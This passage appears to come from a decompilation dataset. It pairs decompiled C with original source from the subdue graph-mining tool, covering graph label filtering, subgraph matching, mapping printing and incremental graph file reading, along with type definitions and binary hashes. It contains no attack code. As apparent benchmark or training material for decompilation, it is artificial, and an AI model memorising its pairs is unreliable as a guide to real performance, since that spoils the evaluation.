0;\n label.labelValue.stringLabel = labelStr;\n }\n labelIndex = GetLabelIndex(&label, labelList);\n for (v = 0; v < g->numVertices; v++)\n {\n if (g->vertices[v].label == labelIndex)\n {\n g->vertices[v].used = 0;\n for (e = 0; e < g->vertices[v].numEdges; e++)\n g->edges[g->vertices[v].edges[e]].used = 0;\n }\n }\n for (e = 0; e < g->numEdges; e++)\n if (g->edges[e].label == labelIndex)\n g->edges[e].used = 0;\n for (v = 0; v < g->numVertices; v++)\n {\n hangingVertex = 1;\n for (e = 0; e < g->vertices[v].numEdges; e++)\n if (g->edges[g->vertices[v].edges[e]].used == 1)\n hangingVertex = 0;\n if (hangingVertex == 1)\n g->vertices[v].used = 0;\n }\n vertexCounter = 0;\n for (v = 0; v < g->numVertices; v++)\n if (g->vertices[v].used == 1)\n {\n g->vertices[v].map = vertexCounter;\n vertexCounter++;\n }\n}", "variable_types": [ [ "g", "struct Graph { unsigned long numVertices; unsigned long numEdges; struct Vertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; } *vertices; struct Edge { unsigned long vertex1; unsigned long vertex2; unsigned long label; unsigned char directed; unsigned char used; unsigned char spansIncrement; unsigned char validPath; } *edges; unsigned long vertexListSize; unsigned long edgeListSize; } *" ], [ "labelStr", "char *" ], [ "labelList", "struct LabelList { unsigned long size; unsigned long numLabels; struct Label { unsigned char labelType; union { char *stringLabel; double numericLabel; } labelValue; unsigned char used; } *labels; } *" ], [ "v", "unsigned long" ], [ "e", "unsigned long" ], [ "endptr", "char *" ], [ "label", "struct Label { unsigned char labelType; union { char *stringLabel; double numericLabel; } labelValue; unsigned char used; }" ], [ "labelIndex", "unsigned long" ], [ "hangingVertex", "unsigned char" ], [ "vertexCounter", "unsigned long" ] ], "return_type": "void", "user_defined_types": [ "struct Label { unsigned char labelType; union { char *stringLabel; double numericLabel; } labelValue; unsigned char used; }", "struct Graph { unsigned long numVertices; unsigned long numEdges; struct Vertex *vertices; struct Edge *edges; unsigned long vertexListSize; unsigned long edgeListSize; }", "struct LabelList { unsigned long size; unsigned long numLabels; struct Label *labels; }", "struct Vertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; }", "struct Edge { unsigned long vertex1; unsigned long vertex2; unsigned long label; unsigned char directed; unsigned char used; unsigned char spansIncrement; unsigned char validPath; }" ], "binary_hash": "3509c87eea623b63bf0c30a5cb18c9e3ab1c6ff8637cccb9283f96b2579b4848" } ]
3f8c49e06c8971c19596fdfedc9e34006749d14bcc822b87ae183d3ed97fb9b8
gromgull/subdue
[ [ "PositiveExample", "->" ] ]
[]
[ { "name": "PositiveExample", "canonical_name": "func0", "repo": "gromgull/subdue", "decompiled_code": "__int64 __fastcall PositiveExample(__int64 a1, __int64 a2, unsigned __int64 a3, __int64 a4)\n{\n_QWORD *v7; // [rsp+28h] [rbp-18h]\nunsigned __int8 v8; // [rsp+37h] [rbp-9h]\nunsigned __int64 v9; // [rsp+38h] [rbp-8h]\n\nv9 = 0LL;\nv8 = 0;\nwhile ( v9 < a3 && !v8 )\n{\nv7 = (_QWORD *)FindInstances(*(_QWORD *)(8 * v9 + a2), a1, a4);\nif ( *v7 )\nv8 = 1;\nFreeInstanceList(v7);\n++v9;\n}\nreturn v8;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func0(__int64 a1, __int64 a2, unsigned __int64 a3, __int64 a4)\n{\n_QWORD *v7; // [rsp+28h] [rbp-18h]\nunsigned __int8 v8; // [rsp+37h] [rbp-9h]\nunsigned __int64 v9; // [rsp+38h] [rbp-8h]\n\nv9 = 0LL;\nv8 = 0;\nwhile ( v9 < a3 && !v8 )\n{\nv7 = (_QWORD *)FindInstances(*(_QWORD *)(8 * v9 + a2), a1, a4);\nif ( *v7 )\nv8 = 1;\nFreeInstanceList(v7);\n++v9;\n}\nreturn v8;\n}", "original_code": "BOOLEAN PositiveExample(Graph *graph, Graph **subGraphs,\n ULONG numSubGraphs, Parameters *parameters)\n{\n ULONG i = 0;\n BOOLEAN found = 0;\n InstanceList *instanceList = ((void *)0);\n while ((i < numSubGraphs) && (! found))\n {\n instanceList = FindInstances(subGraphs[i], graph, parameters);\n if (instanceList->head != ((void *)0))\n found = 1;\n FreeInstanceList(instanceList);\n i++;\n }\n return found;\n}", "canonical_original_code": "unsigned char PositiveExample(struct Graph *graph, struct Graph **subGraphs, unsigned long numSubGraphs, struct Parameters *parameters)\n{\n unsigned long i = 0;\n unsigned char found = 0;\n struct InstanceList *instanceList = ((void *)0);\n while ((i < numSubGraphs) && (! found))\n {\n instanceList = FindInstances(subGraphs[i], graph, parameters);\n if (instanceList->head != ((void *)0))\n found = 1;\n FreeInstanceList(instanceList);\n i++;\n }\n return found;\n}", "variable_types": [ [ "graph", "struct Graph { unsigned long numVertices; unsigned long numEdges; struct Vertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; } *vertices; struct Edge { unsigned long vertex1; unsigned long vertex2; unsigned long label; unsigned char directed; unsigned char used; unsigned char spansIncrement; unsigned char validPath; } *edges; unsigned long vertexListSize; unsigned long edgeListSize; } *" ], [ "subGraphs", "struct Graph **" ], [ "numSubGraphs", "unsigned long" ], [ "parameters", "struct Parameters { char inputFileName[512]; char psInputFileName[512]; char outFileName[512]; struct Graph *posGraph; struct Graph *negGraph; double posGraphDL; double negGraphDL; unsigned long numPosEgs; unsigned long numNegEgs; unsigned long *posEgsVertexIndices; unsigned long *negEgsVertexIndices; struct LabelList { unsigned long size; unsigned long numLabels; struct Label { unsigned char labelType; union { char *stringLabel; double numericLabel; } labelValue; unsigned char used; } *labels; } *labelList; struct Graph **preSubs; unsigned long numPreSubs; unsigned char predefinedSubs; unsigned char outputToFile; unsigned char directed; unsigned long beamWidth; unsigned long limit; unsigned long maxVertices; unsigned long minVertices; unsigned long numBestSubs; unsigned char valueBased; unsigned char prune; unsigned long outputLevel; unsigned char allowInstanceOverlap; unsigned long evalMethod; double threshold; unsigned long iterations; double *log2Factorial; unsigned long log2FactorialSize; unsigned long numPartitions; unsigned char recursion; unsigned char variables; unsigned char relations; unsigned char incremental; unsigned char compress; struct IncrementList { struct _increment_list_node { struct _increment { struct SubList { struct _sub_list_node { struct Substructure { struct Graph *definition; unsigned long numInstances; unsigned long numExamples; struct InstanceList { struct _instance_list_node { struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap { unsigned long v1; unsigned long v2; } *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; } *instance; struct _instance_list_node *next; } *head; } *instances; unsigned long numNegInstances; unsigned long numNegExamples; struct InstanceList *negInstances; double value; unsigned char recursive; unsigned long recursiveEdgeLabel; double posIncrementValue; double negIncrementValue; } *sub; struct _sub_list_node *next; } *head; } *subList; unsigned long incrementNum; unsigned long numPosVertices; unsigned long numPosEdges; unsigned long numNegVertices; unsigned long numNegEdges; unsigned long startPosVertexIndex; unsigned long startPosEdgeIndex; unsigned long startNegVertexIndex; unsigned long startNegEdgeIndex; double numPosEgs; double numNegEgs; } *increment; struct _increment_list_node *next; } *head; } *incrementList; struct InstanceVertexList { struct AvlTreeList { struct _avltablenode { struct avl_table { struct avl_node { struct avl_node *avl_link[2]; void *avl_data; char avl_balance; } *avl_root; int (*avl_compare)(void *avl_a, void *avl_b, void *avl_param); void *avl_param; struct libavl_allocator { void *(*libavl_malloc)(struct libavl_allocator *, unsigned long libavl_size); void (*libavl_free)(struct libavl_allocator *, void *libavl_block); } *avl_alloc; unsigned long avl_count; unsigned long avl_generation; } *vertexTree; struct Substructure *sub; struct _avltablenode *next; } *head; } *avlTreeList; } *vertexList; unsigned long posGraphSize; unsigned long negGraphSize; } *" ], [ "i", "unsigned long" ], [ "found", "unsigned char" ], [ "instanceList", "struct InstanceList { struct _instance_list_node { struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap { unsigned long v1; unsigned long v2; } *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; } *instance; struct _instance_list_node *next; } *head; } *" ] ], "return_type": "unsigned char", "user_defined_types": [ "struct Graph { unsigned long numVertices; unsigned long numEdges; struct Vertex *vertices; struct Edge *edges; unsigned long vertexListSize; unsigned long edgeListSize; }", "struct Parameters { char inputFileName[512]; char psInputFileName[512]; char outFileName[512]; struct Graph *posGraph; struct Graph *negGraph; double posGraphDL; double negGraphDL; unsigned long numPosEgs; unsigned long numNegEgs; unsigned long *posEgsVertexIndices; unsigned long *negEgsVertexIndices; struct LabelList *labelList; struct Graph **preSubs; unsigned long numPreSubs; unsigned char predefinedSubs; unsigned char outputToFile; unsigned char directed; unsigned long beamWidth; unsigned long limit; unsigned long maxVertices; unsigned long minVertices; unsigned long numBestSubs; unsigned char valueBased; unsigned char prune; unsigned long outputLevel; unsigned char allowInstanceOverlap; unsigned long evalMethod; double threshold; unsigned long iterations; double *log2Factorial; unsigned long log2FactorialSize; unsigned long numPartitions; unsigned char recursion; unsigned char variables; unsigned char relations; unsigned char incremental; unsigned char compress; struct IncrementList *incrementList; struct InstanceVertexList *vertexList; unsigned long posGraphSize; unsigned long negGraphSize; }", "struct InstanceList { struct _instance_list_node *head; }", "struct Vertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; }", "struct Edge { unsigned long vertex1; unsigned long vertex2; unsigned long label; unsigned char directed; unsigned char used; unsigned char spansIncrement; unsigned char validPath; }", "struct LabelList { unsigned long size; unsigned long numLabels; struct Label *labels; }", "struct IncrementList { struct _increment_list_node *head; }", "struct InstanceVertexList { struct AvlTreeList *avlTreeList; }", "struct _instance_list_node { struct _instance *instance; struct _instance_list_node *next; }", "struct Label { unsigned char labelType; union { char *stringLabel; double numericLabel; } labelValue; unsigned char used; }", "struct _increment_list_node { struct _increment *increment; struct _increment_list_node *next; }", "struct AvlTreeList { struct _avltablenode *head; }", "struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; }", "struct _increment { struct SubList *subList; unsigned long incrementNum; unsigned long numPosVertices; unsigned long numPosEdges; unsigned long numNegVertices; unsigned long numNegEdges; unsigned long startPosVertexIndex; unsigned long startPosEdgeIndex; unsigned long startNegVertexIndex; unsigned long startNegEdgeIndex; double numPosEgs; double numNegEgs; }", "struct _avltablenode { struct avl_table *vertexTree; struct Substructure *sub; struct _avltablenode *next; }", "struct VertexMap { unsigned long v1; unsigned long v2; }", "struct SubList { struct _sub_list_node *head; }", "struct avl_table { struct avl_node *avl_root; int (*avl_compare)(void *avl_a, void *avl_b, void *avl_param); void *avl_param; struct libavl_allocator *avl_alloc; unsigned long avl_count; unsigned long avl_generation; }", "struct _sub_list_node { struct Substructure *sub; struct _sub_list_node *next; }", "struct avl_node { struct avl_node *avl_link[2]; void *avl_data; char avl_balance; }", "struct libavl_allocator { void *(*libavl_malloc)(struct libavl_allocator *, unsigned long libavl_size); void (*libavl_free)(struct libavl_allocator *, void *libavl_block); }", "struct Substructure { struct Graph *definition; unsigned long numInstances; unsigned long numExamples; struct InstanceList *instances; unsigned long numNegInstances; unsigned long numNegExamples; struct InstanceList *negInstances; double value; unsigned char recursive; unsigned long recursiveEdgeLabel; double posIncrementValue; double negIncrementValue; }" ], "binary_hash": "3f8c49e06c8971c19596fdfedc9e34006749d14bcc822b87ae183d3ed97fb9b8" } ]
42d9473ab9c00fcd178687f490ddd8e8d38d86b7f2f573c8ae666ee7b9ec872f
gromgull/subdue
[ [ "main", "->", "PrintMapping" ], [ "PrintMapping", "->", "main" ] ]
[]
[ { "name": "PrintMapping", "canonical_name": "func0", "repo": "gromgull/subdue", "decompiled_code": "void __fastcall PrintMapping(__int64 a1, unsigned __int64 a2)\n{\n_QWORD *ptr; // [rsp+10h] [rbp-10h]\nunsigned __int64 i; // [rsp+18h] [rbp-8h]\nunsigned __int64 j; // [rsp+18h] [rbp-8h]\n\nptr = malloc(8 * a2);\nif ( !ptr )\nOutOfMemoryError(\"sortedMapping\");\nfor ( i = 0LL; i < a2; ++i )\nptr[*(_QWORD *)(16 * i + a1)] = *(_QWORD *)(16 * i + a1 + 8);\nputs(\"Mapping (vertices of larger graph to smaller):\");\nfor ( j = 0LL; j < a2; ++j )\n{\nprintf(\" %lu -> \", j + 1);\nif ( ptr[j] == -2LL )\n{\nputs(\"deleted\");\n}\nelse if ( ptr[j] == -1LL )\n{\nputs(\"unmapped\");\n}\nelse\n{\nprintf(\"%lu\\n\", ptr[j] + 1LL);\n}\n}\nfree(ptr);\n}\n", "canonical_decompiled_code": "void __fastcall func0(__int64 a1, unsigned __int64 a2)\n{\n_QWORD *ptr; // [rsp+10h] [rbp-10h]\nunsigned __int64 i; // [rsp+18h] [rbp-8h]\nunsigned __int64 j; // [rsp+18h] [rbp-8h]\n\nptr = malloc(8 * a2);\nif ( !ptr )\nOutOfMemoryError(\"sortedMapping\");\nfor ( i = 0LL; i < a2; ++i )\nptr[*(_QWORD *)(16 * i + a1)] = *(_QWORD *)(16 * i + a1 + 8);\nputs(\"Mapping (vertices of larger graph to smaller):\");\nfor ( j = 0LL; j < a2; ++j )\n{\nprintf(\" %lu -> \", j + 1);\nif ( ptr[j] == -2LL )\n{\nputs(\"deleted\");\n}\nelse if ( ptr[j] == -1LL )\n{\nputs(\"unmapped\");\n}\nelse\n{\nprintf(\"%lu\\n\", ptr[j] + 1LL);\n}\n}\nfree(ptr);\n}", "original_code": "void PrintMapping(VertexMap *mapping, ULONG numVertices)\n{\n ULONG *sortedMapping;\n ULONG i;\n sortedMapping = (ULONG *) malloc(sizeof(ULONG) * numVertices);\n if (sortedMapping == ((void *)0))\n OutOfMemoryError(\"sortedMapping\");\n for (i = 0; i < numVertices; i++)\n sortedMapping[mapping[i].v1] = mapping[i].v2;\n printf(\"Mapping (vertices of larger graph to smaller):\\n\");\n for (i = 0; i < numVertices; i++)\n {\n printf(\" %lu -> \", i+1);\n if (sortedMapping[i] == (0x7fffffffffffffffL * 2UL + 1UL) - 1)\n printf(\"deleted\\n\");\n else if (sortedMapping[i] == (0x7fffffffffffffffL * 2UL + 1UL))\n printf(\"unmapped\\n\");\n else\n printf(\"%lu\\n\", sortedMapping[i] + 1);\n }\n free(sortedMapping);\n}", "canonical_original_code": "void PrintMapping(struct VertexMap *mapping, unsigned long numVertices)\n{\n unsigned long *sortedMapping;\n unsigned long i;\n sortedMapping = (unsigned long *) malloc(sizeof(ULONG) * numVertices);\n if (sortedMapping == ((void *)0))\n OutOfMemoryError(\"sortedMapping\");\n for (i = 0; i < numVertices; i++)\n sortedMapping[mapping[i].v1] = mapping[i].v2;\n printf(\"Mapping (vertices of larger graph to smaller):\\n\");\n for (i = 0; i < numVertices; i++)\n {\n printf(\" %lu -> \", i+1);\n if (sortedMapping[i] == (0x7fffffffffffffffL * 2UL + 1UL) - 1)\n printf(\"deleted\\n\");\n else if (sortedMapping[i] == (0x7fffffffffffffffL * 2UL + 1UL))\n printf(\"unmapped\\n\");\n else\n printf(\"%lu\\n\", sortedMapping[i] + 1);\n }\n free(sortedMapping);\n}", "variable_types": [ [ "mapping", "struct VertexMap { unsigned long v1; unsigned long v2; } *" ], [ "numVertices", "unsigned long" ], [ "sortedMapping", "unsigned long *" ], [ "i", "unsigned long" ] ], "return_type": "void", "user_defined_types": [ "struct VertexMap { unsigned long v1; unsigned long v2; }" ], "binary_hash": "42d9473ab9c00fcd178687f490ddd8e8d38d86b7f2f573c8ae666ee7b9ec872f" }, { "name": "main", "canonical_name": "main", "repo": "gromgull/subdue", "decompiled_code": "int __cdecl main(int argc, const char **argv, const char **envp)\n{\n__int64 *v4; // [rsp+18h] [rbp-38h]\n__int64 *v5; // [rsp+20h] [rbp-30h]\n__int64 v6; // [rsp+30h] [rbp-20h]\ndouble v7; // [rsp+38h] [rbp-18h]\nvoid *ptr; // [rsp+40h] [rbp-10h]\n__int64 v9; // [rsp+48h] [rbp-8h]\n\nif ( argc != 3 )\n{\nfprintf(stderr, \"usage: %s <graph file> <graph file>\\n\", *argv);\nexit(1);\n}\nv6 = AllocateLabelList(argc, argv, envp);\nv5 = (__int64 *)ReadGraph(argv[1], v6, 1LL);\nv4 = (__int64 *)ReadGraph(argv[2], v6, 1LL);\nif ( *v5 >= (unsigned __int64)*v4 )\n{\nv9 = *v5;\nptr = malloc(16 * *v5);\nv7 = InexactGraphMatch(v5, v4, v6, ptr, 1.797693134862316e308);\n}\nelse\n{\nv9 = *v4;\nptr = malloc(16 * *v4);\nv7 = InexactGraphMatch(v4, v5, v6, ptr, 1.797693134862316e308);\n}\nprintf(\"Match Cost = %f\\n\", v7);\nPrintMapping(ptr, v9);\nfree(ptr);\nreturn 0;\n}\n", "canonical_decompiled_code": "int __cdecl main(int argc, const char **argv, const char **envp)\n{\n__int64 *v4; // [rsp+18h] [rbp-38h]\n__int64 *v5; // [rsp+20h] [rbp-30h]\n__int64 v6; // [rsp+30h] [rbp-20h]\ndouble v7; // [rsp+38h] [rbp-18h]\nvoid *ptr; // [rsp+40h] [rbp-10h]\n__int64 v9; // [rsp+48h] [rbp-8h]\n\nif ( argc != 3 )\n{\nfprintf(stderr, \"usage: %s <graph file> <graph file>\\n\", *argv);\nexit(1);\n}\nv6 = AllocateLabelList(argc, argv, envp);\nv5 = (__int64 *)ReadGraph(argv[1], v6, 1LL);\nv4 = (__int64 *)ReadGraph(argv[2], v6, 1LL);\nif ( *v5 >= (unsigned __int64)*v4 )\n{\nv9 = *v5;\nptr = malloc(16 * *v5);\nv7 = InexactGraphMatch(v5, v4, v6, ptr, 1.797693134862316e308);\n}\nelse\n{\nv9 = *v4;\nptr = malloc(16 * *v4);\nv7 = InexactGraphMatch(v4, v5, v6, ptr, 1.797693134862316e308);\n}\nprintf(\"Match Cost = %f\\n\", v7);\nfunc0(ptr, v9);\nfree(ptr);\nreturn 0;\n}", "original_code": "int main(int argc, char **argv)\n{\n Graph *g1, *g2;\n LabelList *labelList = ((void *)0);\n BOOLEAN directed = 1;\n ULONG maxVertices;\n VertexMap *mapping;\n double matchCost;\n if (argc != 3)\n {\n fprintf(stderr, \"usage: %s <graph file> <graph file>\\n\", argv[0]);\n exit(1);\n }\n labelList = AllocateLabelList();\n g1 = ReadGraph(argv[1], labelList, directed);\n g2 = ReadGraph(argv[2], labelList, directed);\n if (g1->numVertices < g2->numVertices)\n {\n maxVertices = g2->numVertices;\n mapping = (VertexMap *) malloc(sizeof(VertexMap) * maxVertices);\n matchCost = InexactGraphMatch(g2, g1, labelList, ((double)1.79769313486231570814527423731704357e+308L), mapping);\n }\n else\n {\n maxVertices = g1->numVertices;\n mapping = (VertexMap *) malloc(sizeof(VertexMap) * maxVertices);\n matchCost = InexactGraphMatch(g1, g2, labelList, ((double)1.79769313486231570814527423731704357e+308L), mapping);\n }\n printf(\"Match Cost = %f\\n\", matchCost);\n PrintMapping(mapping, maxVertices);\n free(mapping);\n return 0;\n}", "canonical_original_code": "int main(int argc, char **argv)\n{\n struct Graph *g1; struct Graph *g2;\n struct LabelList *labelList = ((void *)0);\n unsigned char directed = 1;\n unsigned long maxVertices;\n struct VertexMap *mapping;\n double matchCost;\n if (argc != 3)\n {\n fprintf(stderr, \"usage: %s <graph file> <graph file>\\n\", argv[0]);\n exit(1);\n }\n labelList = AllocateLabelList();\n g1 = ReadGraph(argv[1], labelList, directed);\n g2 = ReadGraph(argv[2], labelList, directed);\n if (g1->numVertices < g2->numVertices)\n {\n maxVertices = g2->numVertices;\n mapping = (struct VertexMap *) malloc(sizeof(VertexMap) * maxVertices);\n matchCost = InexactGraphMatch(g2, g1, labelList, ((double)1.79769313486231570814527423731704357e+308L), mapping);\n }\n else\n {\n maxVertices = g1->numVertices;\n mapping = (struct VertexMap *) malloc(sizeof(VertexMap) * maxVertices);\n matchCost = InexactGraphMatch(g1, g2, labelList, ((double)1.79769313486231570814527423731704357e+308L), mapping);\n }\n printf(\"Match Cost = %f\\n\", matchCost);\n PrintMapping(mapping, maxVertices);\n free(mapping);\n return 0;\n}", "variable_types": [ [ "argc", "int" ], [ "argv", "char **" ], [ "g1", "struct Graph { unsigned long numVertices; unsigned long numEdges; struct Vertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; } *vertices; struct Edge { unsigned long vertex1; unsigned long vertex2; unsigned long label; unsigned char directed; unsigned char used; unsigned char spansIncrement; unsigned char validPath; } *edges; unsigned long vertexListSize; unsigned long edgeListSize; } *" ], [ "g2", "struct Graph { unsigned long numVertices; unsigned long numEdges; struct Vertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; } *vertices; struct Edge { unsigned long vertex1; unsigned long vertex2; unsigned long label; unsigned char directed; unsigned char used; unsigned char spansIncrement; unsigned char validPath; } *edges; unsigned long vertexListSize; unsigned long edgeListSize; } *" ], [ "labelList", "struct LabelList { unsigned long size; unsigned long numLabels; struct Label { unsigned char labelType; union { char *stringLabel; double numericLabel; } labelValue; unsigned char used; } *labels; } *" ], [ "directed", "unsigned char" ], [ "maxVertices", "unsigned long" ], [ "mapping", "struct VertexMap { unsigned long v1; unsigned long v2; } *" ], [ "matchCost", "double" ] ], "return_type": "int", "user_defined_types": [ "struct Graph { unsigned long numVertices; unsigned long numEdges; struct Vertex *vertices; struct Edge *edges; unsigned long vertexListSize; unsigned long edgeListSize; }", "struct LabelList { unsigned long size; unsigned long numLabels; struct Label *labels; }", "struct VertexMap { unsigned long v1; unsigned long v2; }", "struct Vertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; }", "struct Edge { unsigned long vertex1; unsigned long vertex2; unsigned long label; unsigned char directed; unsigned char used; unsigned char spansIncrement; unsigned char validPath; }", "struct Label { unsigned char labelType; union { char *stringLabel; double numericLabel; } labelValue; unsigned char used; }" ], "binary_hash": "42d9473ab9c00fcd178687f490ddd8e8d38d86b7f2f573c8ae666ee7b9ec872f" } ]
5f80ebee355d86a2ae47764ce593e57a96bb665286f6aae2d39bf2961d2c502d
gromgull/subdue
[ [ "GetNextIncrement", "->", "CreateFromFile" ], [ "CreateFromFile", "->", "GetNextIncrement", "ReadIncrement" ], [ "ReadIncrement", "->", "CreateFromFile", "ReadIncrementVertex", "ReadIncrementEdge" ], [ "ReadIncrementVertex", "->", "ReadIncrement" ], [ "ReadIncrementEdge", "->", "ReadIncrement" ] ]
[ [ "ReadIncrement", "__int64 __fastcall func2(const char *a1, __int64 a2, __int64 a3, __int64 a4)\n{\n__int64 result; // rax\n__int64 v7; // [rsp+28h] [rbp-178h] BYREF\nchar s1[271]; // [rsp+30h] [rbp-170h] BYREF\nunsigned __int8 v9; // [rsp+13Fh] [rbp-61h]\nFILE *stream; // [rsp+140h] [rbp-60h]\n__int64 *v11; // [rsp+148h] [rbp-58h]\nunsigned __int8 v12; // [rsp+157h] [rbp-49h]\n__int64 v13; // [rsp+158h] [rbp-48h]\n__int64 v14; // [rsp+160h] [rbp-40h]\n__int64 v15; // [rsp+168h] [rbp-38h]\n__int64 v16; // [rsp+170h] [rbp-30h]\n__int64 v17; // [rsp+178h] [rbp-28h]\n__int64 v18; // [rsp+180h] [rbp-20h]\n__int64 v19; // [rsp+188h] [rbp-18h]\n__int64 *v20; // [rsp+190h] [rbp-10h]\n__int64 *v21; // [rsp+198h] [rbp-8h]\n\nv19 = *(_QWORD *)(a2 + 1584);\nv18 = *(_QWORD *)(a2 + 1592);\nv17 = *(_QWORD *)(a2 + 1568);\nv16 = *(_QWORD *)(a2 + 1576);\nv15 = 0LL;\nv14 = 0LL;\nv13 = *(_QWORD *)(a2 + 1600);\nv12 = *(_BYTE *)(a2 + 1626);\nv11 = *(__int64 **)(a2 + 1536);\nv21 = *(__int64 **)(a2 + 1544);\nv20 = v11;\nv14 = a3;\nstream = fopen(a1, \"r\");\nif ( stream )\n{\nv9 = 1;\nv7 = 1LL;\nwhile ( (unsigned int)ReadToken(s1, stream, &v7) )\n{\nif ( !strcmp(s1, \"XP\") )\n{\n++v17;\nv15 = *v11;\nv19 = AddVertexIndex(v19, v17, v15);\nv20 = v11;\nv14 = a3;\nreadingPositive = 1;\n}\nelse if ( !strcmp(s1, \"XN\") )\n{\nif ( !v21 )\n{\n*(_QWORD *)(a2 + 1544) = AllocateGraph(0LL, 0LL);\nv21 = *(__int64 **)(a2 + 1544);\n}\n++v16;\nv15 = *v21;\nv18 = AddVertexIndex(v18, v16, v15);\nv20 = v21;\nv14 = a4;\nreadingPositive = 0;\n}\nelse if ( !strcmp(s1, \"v\") )\n{\nif ( readingPositive && !v17 )\n{\nv17 = 1LL;\nv15 = *v11;\nv19 = AddVertexIndex(v19, 1LL, v15);\nv20 = v11;\nv14 = a3;\n}\nfunc3(v20, stream, v13, &v7, v15);\n}\nelse if ( !strcmp(s1, L\"eud\") )\n{\nfunc4((_DWORD)v20, (_DWORD)stream, v13, (unsigned int)&v7, v12, v14, v15);\n}\nelse if ( !strcmp(s1, L\"ud\") )\n{\nfunc4((_DWORD)v20, (_DWORD)stream, v13, (unsigned int)&v7, 0, v14, v15);\n}\nelse\n{\nif ( strcmp(s1, L\"d\") )\n{\nfclose(stream);\nFreeGraph(v11);\nFreeGraph(v21);\nfprintf(stderr, \"Unknown token %s in line %lu of graph file %s.\\n\", s1, v7, a1);\nexit(1);\n}\nfunc4((_DWORD)v20, (_DWORD)stream, v13, (unsigned int)&v7, 1, v14, v15);\n}\n}\nfclose(stream);\n*(_QWORD *)(a2 + 1568) = v17;\n*(_QWORD *)(a2 + 1576) = v16;\n*(_QWORD *)(a2 + 1584) = v19;\n*(_QWORD *)(a2 + 1592) = v18;\nresult = v9;\n}\nelse\n{\nputs(\"End of Input.\");\nv9 = 0;\nresult = 0LL;\n}\nreturn result;\n}" ], [ "ReadIncrementVertex", "__int64 __fastcall func3(_QWORD *a1, __int64 a2, __int64 a3, _QWORD *a4, __int64 a5)\n{\n__int64 result; // rax\n__int64 v8; // [rsp+30h] [rbp-10h]\n\nif ( a5 + ReadInteger(a2, a4) != *a1 + 1LL )\n{\nfprintf(stderr, \"Error: invalid vertex number at line %lu.\\n\", *a4);\nexit(1);\n}\nv8 = ReadLabel(a2, a3, a4);\nAddVertex(a1, v8);\nif ( readingPositive )\nresult = ++numIncrementPosVertices;\nelse\nresult = ++numIncrementNegVertices;\nreturn result;\n}" ], [ "ReadIncrementEdge", "__int64 __fastcall func4(unsigned __int64 *a1, __int64 a2, __int64 a3, _QWORD *a4, unsigned __int8 a5, unsigned __int64 a6, __int64 a7)\n{\n__int64 v7; // rax\n__int64 result; // rax\n__int64 v13; // [rsp+30h] [rbp-30h]\nunsigned __int64 v14; // [rsp+38h] [rbp-28h]\nunsigned __int64 v15; // [rsp+50h] [rbp-10h]\nbool v16; // [rsp+5Fh] [rbp-1h]\n\nv15 = a7 + ReadInteger(a2, a4);\nif ( v15 > *a1 )\n{\nfprintf(stderr, \"Error: reference to undefined vertex number at line %lu.\\n\", *a4);\nexit(1);\n}\nv7 = ReadInteger(a2, a4);\nif ( a7 + v7 > *a1 )\n{\nfprintf(stderr, \"Error: reference to undefined vertex number at line %lu.\\n\", *a4);\nexit(1);\n}\nv14 = a7 + v7 - 1;\nv13 = ReadLabel(a2, a3, a4);\nv16 = v15 - 1 < a6 || v14 < a6;\nAddEdge(a1, v15 - 1, v14, a5, v13, v16);\nif ( readingPositive )\nresult = ++numIncrementPosEdges;\nelse\nresult = ++numIncrementNegEdges;\nreturn result;\n}" ] ]
[ { "name": "GetNextIncrement", "canonical_name": "func0", "repo": "gromgull/subdue", "decompiled_code": "__int64 __fastcall GetNextIncrement(__int64 a1)\n{\nunsigned __int8 v2; // [rsp+13h] [rbp-2Dh]\nunsigned int seed; // [rsp+14h] [rbp-2Ch]\n__int64 v4; // [rsp+28h] [rbp-18h]\n__int64 v5; // [rsp+30h] [rbp-10h]\n__int64 v6; // [rsp+38h] [rbp-8h]\n\nv6 = 0LL;\nif ( start )\n{\nInitializeGraph(a1);\nstart = 0;\n}\nv4 = **(_QWORD **)(a1 + 1536);\nif ( *(_QWORD *)(a1 + 1544) )\nv6 = **(_QWORD **)(a1 + 1544);\nv5 = *(_QWORD *)(*(_QWORD *)(a1 + 1536) + 8LL);\nif ( *(_QWORD *)(a1 + 1544) )\nv5 = *(_QWORD *)(*(_QWORD *)(a1 + 1544) + 8LL);\nnumIncrementPosVertices = 0LL;\nnumIncrementPosEdges = 0LL;\nnumIncrementNegVertices = 0LL;\nnumIncrementNegEdges = 0LL;\nseed = (unsigned int)time(0LL) >> 1;\nsrand(seed);\nv2 = CreateFromFile(a1, v4, v6);\nAddNewIncrement(\nv4,\n0LL,\nv6,\nv5,\nnumIncrementPosVertices,\nnumIncrementPosEdges,\nnumIncrementNegVertices,\nnumIncrementNegEdges,\na1);\n++incrementCount;\nreturn v2;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func0(__int64 a1)\n{\nunsigned __int8 v2; // [rsp+13h] [rbp-2Dh]\nunsigned int seed; // [rsp+14h] [rbp-2Ch]\n__int64 v4; // [rsp+28h] [rbp-18h]\n__int64 v5; // [rsp+30h] [rbp-10h]\n__int64 v6; // [rsp+38h] [rbp-8h]\n\nv6 = 0LL;\nif ( start )\n{\nInitializeGraph(a1);\nstart = 0;\n}\nv4 = **(_QWORD **)(a1 + 